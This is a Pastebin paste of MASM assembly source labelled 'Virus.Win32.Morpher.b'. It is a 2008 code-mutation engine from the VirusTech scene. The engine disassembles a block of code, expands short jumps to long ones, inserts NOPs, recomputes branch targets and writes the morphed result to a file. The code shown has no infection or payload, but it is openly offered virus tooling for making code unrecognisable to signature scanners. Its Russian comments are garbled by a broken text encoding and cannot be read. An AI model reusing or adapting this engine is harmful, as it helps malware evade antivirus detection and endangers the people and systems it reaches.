Advertisement
FlyFar

Virus.Win32.Morpher.b - Source Code

Jul 9th, 2023
1,434
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 29.99 KB | Cybersecurity | 0 0
  1.  
  2. ;::::::::::::::::::::::::::::::::::::::::::::::::::::::
  3. ;                Simple Morpher v.0.1                 :
  4. ;                                                     :
  5. ;                    x0man � 2008                     :
  6. ;                                                     :
  7. ;               http://www.virustech.org/             :
  8. ;::::::::::::::::::::::::::::::::::::::::::::::::::::::
  9. ;-----------------------------------------------------------------------------------------:
  10. ;                                                                                         :
  11. ;� ������ �������� ��������, ������� � ���� ����������.                                   :
  12. ;                                                                                         :
  13. ;���� ������ � ������� ��������� ������ � �����������                                     :
  14. ;����� ���������� ������� ��������:                                                       :
  15. ;                                                                                         :
  16. ;_OPCODE struct;                                                                          :
  17. ;   dwOldAddress    dd  ?   ; ������ ����� ���������� (�� ��������)               :
  18. ;   dwNewAddress    dd  ?   ; ����� ����� ����������  (����� ��������)            :
  19. ;   dwJumpAddress   dd  ?   ; ����� ���� ������ ��������� ������(��� �����)       :
  20. ;                                   ; (���� ���������� �� ��������)                       :
  21. ;   dwLength        dd  ?   ; � ������ ������� ��� ���������� �� ������������     :
  22. ;                       ; ������� ��� ��� ����������� ������ ��� ��� :)       :
  23. ;_OPCODE ends                                                                             :
  24. ;                                                                                         :
  25. ;� "���" ������ ���� ������                                                               :
  26. ;  1. ������� ����, � ��������� �� ������ ���������� ������                               :
  27. ;     ��������� �������, �������� ������ � ��������� _OPCODE.                             :
  28. ;  2. ���������� ���� ��� ������� ��������� (������ �������� ������� �� �������)          :
  29. ;  3. ���� ���������� �������� ������� ��� �������, ��� �����                             :
  30. ;     ���������� ������ ��� EIP ��� ���������� ����.                                      :
  31. ;  4. � ������������ ����������� ���� (����������� NOP)                                   :
  32. ;                                                                                         :
  33. ;������ ����                                                                              :
  34. ;  1. ���������� �� ������� � ���������� ����������                                       :
  35. ;  2. ���� ���������� �������� �������, �� ��������� �������� � ������                    :
  36. ;    ��� ������, � ������ ��� �� ����������(��� � ���������� ����).                       :
  37. ;                                                                                         :
  38. ;                                                                                         :
  39. ;����� �� ��... ��� ����� ������ �������� ������� ���!                                   :
  40. ;                                                                                         :
  41. ;������������ ����� ���������� � ���� Catchy_32, ������� ����� ������� �                  :
  42. ; http://www.wasm.ru, �� ����� ����������� � ���������� � ����������.                     :
  43. ;                                                                                         :
  44. ;GreeTz:                                                                                  :
  45. ;        Osen                                                                             :
  46. ;        izee [ EOF-Project ] http://eof-project.net/                                     :
  47. ;                                                                                         :
  48. ;  tPORt  (http://www.tport.org/)                                                         :
  49. ;  REVENGE(http://www.revenge-crew.com/)                                                  :
  50. ;  TLG    (http://tlg.astalavista.ms/)                                                    :
  51. ;  TSRh   (http://tsrh.org.ua/)                                                           :
  52. ;  TPOC   (http://vx.netlux.org/tpoc/)                                                    :
  53. ;                                                                                         :
  54. ;                                                                                         :
  55. ;  ������� �� ��������!                                                                   :
  56. ;                                                                                         :
  57. ;                                                                  10.05.2008             :
  58. ;                                                           x0man [VirusTech]             :
  59. ;                                                    http://www.virustech.org             :
  60. ;-----------------------------------------------------------------------------------------:
  61.  
  62.     .386
  63.     .model flat, stdcall
  64.     option casemap :none
  65.  
  66.     include \MASM32\INCLUDE\windows.inc
  67.     include \MASM32\INCLUDE\kernel32.inc
  68.     include \MASM32\INCLUDE\user32.inc
  69.    
  70.     includelib \MASM32\LIB\kernel32.lib
  71.     includelib \MASM32\LIB\user32.lib
  72.        
  73. ; #########################################################################
  74.  
  75. _OPCODE struct
  76.     dwOldAddress    dd  ?   ; ������ ����� ���������� (�� ��������)
  77.     dwNewAddress    dd  ?   ; ����� ����� ����������  (����� ��������)
  78.     dwJumpAddress   dd  ?   ; ����� ���� ������ ��������� ������(��� �����)
  79.                         ; (���� ���������� �� ��������)
  80.     dwLength        dd  ?   ; � ������ ������� ��� ���������� �� ������������
  81.                         ; ������� ��� ��� ����������� ������ ��� ��� :)
  82. _OPCODE ends
  83.    
  84. ; #########################################################################
  85.  
  86. .code
  87.  
  88. ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  89. ; ��� ��� ����� :)
  90. ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  91. test_code:
  92.     @@:
  93.     jmp @F
  94.     mov eax, edx
  95.     pop eax
  96.     push eax
  97.     call @F
  98.     cmp eax, 0
  99.     jne @B
  100.     jmp @B
  101.     add ecx, edx
  102.     add eax, edx
  103.     xchg edx, ecx
  104.     call @B
  105.     jne @F
  106.     db  0,0,0,0,0,0,0,0,0,0
  107.     db  0,0,0,0,0,0,0,0,0,0
  108.     db  0,0,0,0,0,0,0,0,0,0
  109.     db  0,0,0,0,0,0,0,0,0,0
  110.     db  0,0,0,0,0,0,0,0,0,0
  111.     db  0,0,0,0,0,0,0,0,0,0
  112.     db  0,0,0,0,0,0,0,0,0,0
  113.     db  0,0,0,0,0,0,0,0,0,0
  114.     db  0,0,0,0,0,0,0,0,0,0
  115.     db  0,0,0,0,0,0,0,0,0,0
  116.     db  0,0,0,0,0,0,0,0,0,0
  117.     db  0,0,0,0,0,0,0,0,0,0
  118.     db  0,0,0,0,0,0,0,0,0,0
  119.     db  0,0,0,0,0,0,0,0,0,0
  120.     db  0,0,0,0,0,0,0,0,0,0
  121.     jne @B
  122.     ret
  123.     @@:
  124.     ret
  125.     int 3
  126. ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  127. ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  128. ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  129.  
  130.  
  131.  
  132.  
  133. ;::::::::::::::::::::::::::::::::::
  134. ; ��������� ������ ����� ����������
  135. include Catchy32\Catchy32.inc
  136.  
  137.  
  138.  
  139. ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
  140. ; ������� ��� �������� �����, ���� ������ ��������� ������|
  141. ; ������: dwCurrentAddress - ��������� �� ���             |
  142. ;                                                         |
  143. ;                     00000000: 74 30  JE imm8            |
  144. ;  ��� ������� ����������� "imm8"                         |
  145. ;  � ����� ������� imm8 = 00000000 + 30 + 2 = 00000032    |
  146. ;   �.�.                                                  |
  147. ;   00000000 - ������� �����                              |
  148. ;         30 - ��������                                   |
  149. ;          2 - ������ ���������� JE imm8                  |
  150. ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
  151. ;                     00000000: 74 30  JE 00000032 --.    |
  152. ;                     00000002:                      |    |
  153. ;                                                    |    |
  154. ;                     00000032:                <-----�    |
  155. ; ��� �������� ��� "�������������" �������                |
  156. ; ��� �������������, ���������� ��������� ����            |
  157. ;                                ��� �� ������ ;-)        |
  158. ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|:::|
  159. ; IN  dwCurrentAddress : ������� ����� ��������������� ������ |
  160. ; OUT EAX              : ����� ���� ������ ���������          |
  161. ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
  162. get_jump_address proc dwCurrentAddress : DWORD
  163.  
  164.     push ecx
  165.     push edi
  166.  
  167.     mov edi, dwCurrentAddress
  168.     mov al, byte ptr [edi]
  169.    
  170.     ;:::::::::::::::::::::::::::::::::::::
  171.     ; XX imm8
  172.     cmp al, 070h
  173.     jl @F
  174.     cmp al, 07Fh
  175.     jna @_jump_imm8_
  176.    
  177. @@:
  178.     ;:::::::::::::::::::::::::::::::::::::
  179.     cmp al, 0EBh
  180.     je @_jump_uncond_imm8_
  181.     ;:::::::::::::::::::::::::::::::::::::
  182.     ; 0F XX imm32
  183.     cmp al, 00Fh
  184.     jne @F
  185.     mov ah, byte ptr [edi + 1]
  186.     cmp ah, 080h
  187.     jl @F
  188.     cmp ah, 08Fh
  189.     jna @_jump_imm32_
  190.     ;:::::::::::::::::::::::::::::::::::::
  191.  
  192. @@:
  193.     ;:::::::::::::::::::::::::::::::::::::
  194.     ; JMP imm32
  195.     cmp al, 0E9h
  196.     je @_jump_uncond_imm32_
  197.    
  198.  
  199.     ;:::::::::::::::::::::::::::::::::::::
  200.     ; CALL
  201.     cmp al, 0E8h
  202.     je @_call_imm32_
  203.    
  204.  
  205.     ;:::::::::::::::::::::::::::::::::::::
  206.     jmp @_exit_
  207.     ;:::::::::::::::::::::::::::::::::::::
  208.    
  209. @_jump_imm8_:
  210. @_jump_uncond_imm8_:
  211.     ;:::::::::::::::::::::::::::::::::::::
  212.     ; �������� ������
  213.     movzx eax, byte ptr [edi + 1]
  214.     mov cl, al
  215.     test cl, 10000000b ; isNegative?
  216.    
  217.     jnz @_neg_1
  218.         add edi, eax
  219.         add edi, 2
  220.         xchg eax, edi
  221.         jmp @_exit_
  222.    
  223.     @_neg_1:
  224.         neg al
  225.         sub al, 2
  226.         sub edi, eax
  227.         xchg eax, edi
  228.         jmp @_exit_
  229.  
  230.    
  231. @_jump_imm32_:
  232.     ;:::::::::::::::::::::::::::::::::::::
  233.     ; ������� ������
  234.     mov eax, dword ptr [edi + 2]
  235.     mov ecx, eax
  236.     shr ecx, 24d
  237.     test ecx, 10000000b ; isNegative?
  238.    
  239.     jnz @_neg_2
  240.         add eax, edi
  241.         add eax, 6
  242.         jmp @_exit_
  243.        
  244.     @_neg_2:
  245.         neg eax
  246.         sub eax, 6
  247.         sub edi, eax
  248.         xchg eax, edi
  249.         jmp @_exit_
  250.     ;:::::::::::::::::::::::::::::::::::::
  251.    
  252.  
  253.        
  254. @_jump_uncond_imm32_:
  255. @_call_imm32_:
  256.     ;:::::::::::::::::::::::::::::::::::::
  257.     ; JMP imm32 & CALL imm32
  258.     mov eax, dword ptr [edi + 1]
  259.     mov ecx, eax
  260.     shr ecx, 24d
  261.     test ecx, 10000000b ; isNegative?
  262.    
  263.     jnz @_neg_3
  264.         add edi, eax
  265.         add edi, 5
  266.         xchg eax, edi
  267.         jmp @_exit_
  268.        
  269.     @_neg_3:
  270.         neg eax
  271.         sub eax, 5
  272.         sub edi, eax
  273.         xchg eax, edi
  274.     ;///////////////////////////////////////
  275. @_exit_:
  276.    
  277.     pop edi
  278.     pop ecx
  279.  
  280.     ret
  281. get_jump_address endp
  282.  
  283.  
  284. ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
  285. ; ������� ��� ������ � ������� �������� ����������             |
  286. ; ������ ������ ��� ������....                                 |
  287. ;                                                              |
  288. ; IN  dwAddress - ����� ������                                 |
  289. ; IN  pOpcodes  - ��������� �� ������ � ���������� �������     |
  290. ; OUT EAX       - ����� ����� ������...                        |
  291. ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
  292. get_new_jump_address proc dwAddress:DWORD, pOpcodes : DWORD
  293.     push ecx
  294.    
  295.     assume ecx : ptr _OPCODE
  296.     mov ecx, pOpcodes
  297.     mov eax, dwAddress
  298.    
  299.     @@:
  300.     cmp [ecx].dwOldAddress, eax
  301.     je @F
  302.     add ecx, sizeof _OPCODE
  303.     cmp [ecx].dwOldAddress, 0
  304.     jne @B
  305.     xor eax, eax
  306.     @@:
  307.     mov eax, [ecx].dwNewAddress
  308.    
  309.     pop ecx
  310.     ret
  311. get_new_jump_address endp
  312.  
  313.  
  314. ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
  315. ; ������� ���������� ����������� ���, ����������� NOP            |
  316. ; �����! ��� ������ ������������� ������� 0CCh                    |
  317. ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
  318. ; IN  dwCodeAddress  - ����� ���� ��� ��������                    |
  319. ; IN  dwOutputBuffer - ����� ���� ����� ������ ������������� ��� |
  320. ; OUT EAX            - ������ �������������� ����                 |
  321. ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
  322. MorphCode proc dwCodeAddress    : DWORD, dwOutputBuffer : DWORD
  323. local pOpcodes          : DWORD
  324. local dwTotalCodeSize       : DWORD
  325.  
  326.     ;::::::::::::::::::::::::::::::::::::::::::::::::::
  327.     ; pOpcodes       - ��������� �� �������� ������� ::
  328.     ; dwOutputBuffer - ������������� ���             ::
  329.     ;::::::::::::::::::::::::::::::::::::::::::::::::::
  330.    
  331.     ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  332.     ; ������������� ������ ��� ������� � ��������� ����������
  333.     invoke VirtualAlloc, NULL, 1024*1024, MEM_COMMIT + MEM_RESERVE, PAGE_READWRITE
  334.     mov pOpcodes, eax
  335.    
  336.     ;::::::::::::::::::::::::::::::::::::::::::::
  337.     ; ������� ���������� � ������� ����� ��������
  338.     ; ����� ������ ����
  339.     push 0
  340.     pop dwTotalCodeSize
  341.  
  342.     ;:::::::::::::::::::::::::::::::::::::::::
  343.     ; ��� ������������
  344.     assume ecx : ptr _OPCODE
  345.     mov esi, dwCodeAddress  ; Code Address
  346.     mov edi, dwOutputBuffer ; New Code Address
  347.     mov ecx, pOpcodes       ; array of _OPCODES
  348.     ;::::::::::::::::::::::::::::::::::::::::  
  349.    
  350.  
  351.    
  352. ;::::::::::::::::::::::::::::::::::::::::
  353. ; ������ ���� :::::::::::::::::::::::::::
  354. ;::::::::::::::::::::::::::::::::::::::::
  355.  
  356.     ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  357.     ; ������ ��� ������ ���������� � ����� ����� ��� � EDI
  358.     mov [ecx].dwNewAddress, edi
  359.  
  360.     ;::::::::::::::::::::::::::::::::::::
  361.     ; �������� ����
  362.     ; Loop 1
  363.     @_loop_1:
  364.  
  365.     ;::::::::::::::::::::::::::::::::::::
  366.     ; ������ ������ � ����������
  367.     ; IN  ESI == Current Code Offset
  368.     ; OUT EAX == Instruction Length
  369.     call c_Catchy
  370.  
  371.     ;:::::::::::::::::::::::::::::::::::::
  372.     ; ������ ������ � ������ � ����������
  373.     mov [ecx].dwOldAddress, esi
  374.     mov [ecx].dwLength, eax
  375.  
  376.     ;::::::::::::::::::::::::::::::::::::
  377.     ; �������� �������� ������ ������ �� ������� 
  378.     ; ��� ���������� �� ������� ��������� 00Fh
  379.     ; � ������ � +10h � �������� ������ ������
  380.     ; ������:
  381.     ;    ���� :00000000:     74 30
  382.     ;                    0F +10 30 00 00 00
  383.     ;    �����:00000000: 0F  84 30 00 00 00
  384.     cmp byte ptr [esi], 070h
  385.     jl @F
  386.     cmp byte ptr [esi], 07Fh
  387.     ja @F
  388.         push eax
  389.         mov al, 00Fh
  390.         stosb
  391.        
  392.         movzx eax, byte ptr [esi]
  393.         add eax, 10h
  394.         stosd  
  395.        
  396.         ;:::::::::::::::::::::::::::::::::::::::
  397.         ; ���������� ����� ���� ��������� ������
  398.         push esi
  399.         call get_jump_address
  400.        
  401.         ;::::::::::::::::::::::::
  402.         ; ������ ������ � ������
  403.         mov [ecx].dwJumpAddress, eax
  404.        
  405.         pop eax
  406.        
  407.         ;::::::::::::::::::::::::::::::::::::
  408.         ; �������� � ������ ������� ����
  409.         ; ������ 00Fh XXh imm32, �.�. ����� 6
  410.         ; ��� XX � [80h..8Fh]
  411.         add dwTotalCodeSize, 6
  412.     ;::::::::::::::::::::::::::::::::::::
  413.     ; ��������� ������� ���������� ������
  414.     ; ��������� � ��������� ����������
  415.     jmp @_next_inst_   
  416.    
  417.     @@:
  418.     ;::::::::::::::::::::::::::::::::::::
  419.     ; ������...
  420.     ; JMP imm8 -> JMP imm32
  421.     ; ������
  422.     ; ���� : 00000000: EB 33
  423.     ; �����: 00000000: E9 33 00 00 00
  424.     cmp byte ptr [esi], 0EBh
  425.     jne @F
  426.         push eax
  427.        
  428.         mov al, 0E9h
  429.         stosb
  430.         xor eax, eax
  431.         stosd
  432.  
  433.         ;:::::::::::::::::::::::::::::::::::::::
  434.         ; ���������� ����� ���� ��������� ������
  435.         push esi
  436.         call get_jump_address
  437.        
  438.         ;::::::::::::::::::::::::
  439.         ; ������ ������ � ������
  440.         mov [ecx].dwJumpAddress, eax
  441.  
  442.         pop eax    
  443.         ;:::::::::::::::::::::::::::::::
  444.         ; �������� � ������ ������� ����
  445.         ; ������ E9 imm32, �.�. ����� 5
  446.         add dwTotalCodeSize, 5     
  447.     jmp @_next_inst_
  448.     ;::::::::::::::::::::::::::::::::::::
  449.    
  450.    
  451.     @@:
  452.     ;::::::::::::::::::::::::::::::::::::
  453.     ; �������� �� JMP imm32
  454.     cmp byte ptr [esi], 0E9h
  455.     jne @F
  456.  
  457.     push eax
  458.     push esi
  459.     call get_jump_address
  460.     mov [ecx].dwJumpAddress, eax
  461.     pop eax
  462.     jmp @_replace_instr_
  463.     ;::::::::::::::::::::::::::::::::::::
  464.    
  465.     @@:
  466.     ;::::::::::::::::::::::::::::::::::::
  467.     ; �������� �� CALL
  468.     cmp byte ptr [esi], 0E8h
  469.     jne @F
  470.    
  471.     push eax
  472.     push esi
  473.     call get_jump_address
  474.     mov [ecx].dwJumpAddress, eax
  475.     pop eax
  476.     jmp @_replace_instr_
  477.     ;::::::::::::::::::::::::::::::::::::
  478.    
  479.    
  480.     @@:
  481.     ;::::::::::::::::::::::::::::::::::::
  482.     ; 00Fh XX imm32
  483.     cmp byte ptr [esi], 00Fh
  484.     jne @F
  485.     cmp byte ptr [esi + 1], 080h
  486.     jl @F
  487.     cmp byte ptr [esi + 1], 08Fh
  488.     ja @F
  489.         push eax
  490.         push esi
  491.         call get_jump_address
  492.         mov [ecx].dwJumpAddress, eax
  493.         pop eax    
  494.     ;::::::::::::::::::::::::::::::::::::
  495.  
  496.     @@:
  497.  
  498. @_replace_instr_:
  499.     ;::::::::::::::::::::::::::::::::::::::::::
  500.     ; ��������� ���������� � ����� ������.
  501.     ; ���� ��� ����������� � ��� ������
  502.     ; ���� �� �� ������ ������������ ����������
  503.     push esi
  504.     push ecx
  505.    
  506.     mov ecx, eax
  507.     rep movsb
  508.    
  509.     pop ecx
  510.     pop esi
  511.    
  512.     ; ������� � ������ ������� ����
  513.     ; ������ ������� ����������
  514.     add dwTotalCodeSize, eax
  515.  
  516.     ;::::::::::::::::::::::::::::::::::::
  517.     ; ���� ������� ���� �� �������� ������� ���������� �� ����
  518. @_next_inst_:
  519.     ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  520.     ; ���������� ��� ����������� NOP
  521.     ; ��� ����� ���������� ���
  522.     ; ������ "�������" ������������
  523.     ; ����:
  524.     ;--------------
  525.     ;      push eax
  526.     ;      pop  eax
  527.     ;--------------
  528.     ;      mov  eax, eax
  529.     ;--------------
  530.     ;      � �.�.
  531.     push eax
  532.     mov al, 90h
  533.     stosb
  534.     pop eax
  535.    
  536.     ;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  537.     ; �������� ����� ������ ���� �� 1 (������ ���������� NOP)
  538.     ; ��� �� ���� ������ ��������� ���� "������" ���
  539.     ; ����� ����� ��������� � dwTotalCodeSize ��� ����� ������(!)
  540.     add dwTotalCodeSize, 1
  541.    
  542.     ;::::::::::::::::::::::::::::::::::::
  543.     ; ������� � ��������� ����������
  544.     add esi, eax
  545.    
  546.     ;::::::::::::::::::::::::::::::::::::
  547.     ; ������� � ���������� ��������
  548.     ; � ����� ������� � ���������� �������
  549.     add ecx, sizeof _OPCODE
  550.    
  551.     ;::::::::::::::::::::::::::::::::::::
  552.     ; ������� ����� ����� � ��������� ����������
  553.     mov [ecx].dwNewAddress, edi
  554.    
  555.  
  556.     ;::::::::::::::::::::::::::::::::::::
  557.     ; ������� �� int 3
  558.     ; ��� ������ ��� ��� ����������....
  559.     ; � ������������� ��� ��� ������ ��� ������.
  560.     cmp byte ptr [esi], 0CCh
  561.     jne @_loop_1
  562.     ; End Loop 1
  563.     ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  564.  
  565.     ;::::::::::::::::::::::::::::::::::::
  566.     ; ������ ��� ������ � ���������� ����������
  567.     mov [ecx].dwOldAddress, 0
  568.  
  569.  
  570.  
  571.  
  572. ;::::::::::::::::::::::::::::::::::::::::
  573. ; ������ ���� :::::::::::::::::::::::::::
  574. ;::::::::::::::::::::::::::::::::::::::::
  575.     mov ecx, pOpcodes
  576.     @_loop_2:
  577.     ;::::::::::::::::::::::::::::::::::::::::
  578.     ; ���� ���������� �������� ������� ��� �������
  579.     ; �� dwJumpAddress != 0 (!)
  580.     cmp [ecx].dwJumpAddress, 0
  581.     je @F
  582.     ;::::::::::::::::::::::::::::::::::::::::
  583.     ; ������� ����� ����� ����� ���� ������
  584.     ; ��������� ������ ��� �����
  585.     push pOpcodes
  586.     push [ecx].dwJumpAddress
  587.     call get_new_jump_address
  588.    
  589.     ;::::::::::::::::::::::::::::::::::::::::
  590.     ; �������� ��������� �� ����.
  591.     ; �� ���� ��� �������� ���� �� ������
  592.     ; ��� EAX (���� ���� ��� �� ������ dwCodeAddress ��� ����������)
  593.     ; ������� �� ����� ��������� ����
  594.     ; � ��� 2 ������� ������, �� ��� ����������
  595.     ; ������ �� �������� :)))
  596.     cmp eax, 0
  597.     je @F
  598.     ;::::::::::::::::::::::::::::::::::::::::
  599.    
  600.     ;::::::::::::::::::::::::::::::::
  601.     ; �������� ����� ����� ����������
  602.     ; ����� �������� �� �����
  603.     mov edx, [ecx].dwNewAddress
  604.     ;:::::::::::::::::::::::::
  605.     ; ������� �������� ������
  606.     ; 00Fh XXh imm32
  607.     cmp byte ptr [edx], 00Fh
  608.     je @_0F_XX_imm32
  609.     ;:::::::::::::::::::::::::::
  610.     ; ������� ����������� ������
  611.     ; JMP imm32
  612.     cmp byte ptr [edx], 0E9h
  613.     je @_XXX_imm32_
  614.     ;::::::::::::::::::::::
  615.     ; ����� (CALL imm32)
  616.     cmp byte ptr [edx], 0E8h
  617.     je @_XXX_imm32_
  618.     ;::::::::::::::::::::::
  619.     jmp @F
  620.  
  621.     ;::::::::::::::::::::::::::::::::::::::
  622.     ; 00Fh XXh imm32
  623.     ; ��� ����� �������� ������������ imm32
  624.     ; ��� ��������� �� �������� [����� ������ + 2]
  625.     ; ������:
  626.     ;   00Fh 84 imm32   ; JE  imm32
  627.     ;   00Fh 85 imm32   ; JNE imm32
  628. @_0F_XX_imm32:
  629.     cmp eax, [ecx].dwNewAddress
  630.     jle @_less_or_equal_1
  631.         push eax
  632.         sub eax, [ecx].dwNewAddress
  633.         sub eax, 6
  634.         mov edx, [ecx].dwNewAddress
  635.         mov dword ptr [edx + 2], eax
  636.         pop eax
  637.         jmp @F
  638.  
  639.     @_less_or_equal_1:
  640.         push eax
  641.         mov edx, [ecx].dwNewAddress
  642.         sub edx, eax
  643.         neg edx
  644.         sub edx, 6
  645.         mov eax, [ecx].dwNewAddress
  646.         mov dword ptr [eax + 2], edx
  647.         pop eax
  648.         jmp @F
  649.    
  650.     ;:::::::::::::::::::::::::::::::::::::::::::::
  651.     ; �������� imm32 � ����������� JMP � CALL
  652.     ; ���� � ����, ������������� ��� ���������
  653.     ; ������ ������ � ��� ����� ������� �����
  654.     ; imm32 ��������� �� �������� [����� ������ + 1]
  655.     ; ������:
  656.     ;   E9 imm32
  657.     ;   E8 imm32
  658.     ; :)
  659. @_XXX_imm32_:
  660.     cmp eax, [ecx].dwNewAddress
  661.     jle @_less_or_equal_2
  662.         push eax
  663.         sub eax, [ecx].dwNewAddress
  664.         sub eax, 5
  665.         mov edx, [ecx].dwNewAddress
  666.         mov dword ptr [edx + 1], eax
  667.         pop eax
  668.         jmp @F
  669.  
  670.     @_less_or_equal_2:
  671.         push eax
  672.         mov edx, [ecx].dwNewAddress
  673.         sub edx, eax
  674.         neg edx
  675.         sub edx, 5
  676.         mov eax, [ecx].dwNewAddress
  677.         mov dword ptr [eax + 1], edx
  678.         pop eax
  679.         jmp @F
  680.     ;::::::::::::::::::::::::::::::::::::::::
  681.    
  682.  
  683.     @@:
  684.     ;::::::::::::::::::::::::::::::
  685.     ; ������� � ��������� ��������
  686.     ; ���������� ������ :)
  687.     add ecx, sizeof _OPCODE
  688.  
  689.     ;:::::::::::::::::::::::::::::::::::::
  690.     ; ��������� �� ��� ��� ����
  691.     ; �� ��������� �� ����� �������
  692.     ; �� ��� ��������� ���� � dwOldAddress
  693.     cmp [ecx].dwOldAddress, 0
  694.     jne @_loop_2
  695.  
  696.     ;::::::::::::::::::::::::::::::::::::::::
  697.     ; ��������� ������ ��� ��������
  698.     invoke VirtualFree, pOpcodes, NULL, MEM_RELEASE
  699.    
  700.     @_exit_:
  701.  
  702.     mov eax, dwTotalCodeSize
  703.     ret
  704. MorphCode endp
  705.  
  706. .data
  707.     ; ����� ���� ������ ������������� ���
  708.     dwOutputBuffer      dd  0
  709.    
  710.     ; ������ ������
  711.     dwOutputBufferSize  dd  0
  712.    
  713.     ; ���-�� ���� ���������� � ����
  714.     dwBytesWritten      dd  0
  715.    
  716.     ; ��� ������� � ������� ������� ������������� ���
  717.     szFileName          db  'morphed_code_dump_raw.bin',0
  718.    
  719.     ; ����� ��� MessageBoxA
  720.     szComplete          db  'Complete! :)', 0
  721. .code
  722.  
  723. start:
  724.  
  725.     ;:::::::::::::::::::::::::::::::::::::::::::::::::::::
  726.     ; ������������� ������ ��� �������������� ����
  727.     ; ������ ������ ��������� ��������� ����
  728.     ; �� ������� �� ���-�� ���� ��� ����������� �������
  729.     invoke VirtualAlloc, NULL, 1024*1024, MEM_COMMIT + MEM_RESERVE, PAGE_READWRITE
  730.     mov dwOutputBuffer, eax
  731.  
  732.     ;::::::::::::::::
  733.     ; ������ ���.....
  734.     invoke MorphCode, offset test_code, dwOutputBuffer
  735.     mov dwOutputBufferSize, eax
  736.    
  737.     ;::::::::::::::::::::::::::::::::
  738.     ; ������ ������������� ��� � ����
  739.     invoke CreateFile, offset szFileName, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, 0
  740.     push eax
  741.     invoke WriteFile, eax, dwOutputBuffer, dwOutputBufferSize, addr dwBytesWritten, NULL
  742.     call CloseHandle
  743.    
  744.     ;:::::::::::::::::
  745.     ; ��������� ������
  746.     invoke VirtualFree, dwOutputBuffer, NULL, MEM_RELEASE
  747.    
  748.     ;:::::::::::::::::
  749.     ; ������� :)
  750.     invoke MessageBoxA, 0, offset szComplete, 0, MB_ICONINFORMATION
  751.  
  752.     ;:::::::::::::::::
  753.     ; �����)
  754.     xor eax, eax
  755.     ret
  756. end start
  757.  
  758. ; #########################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement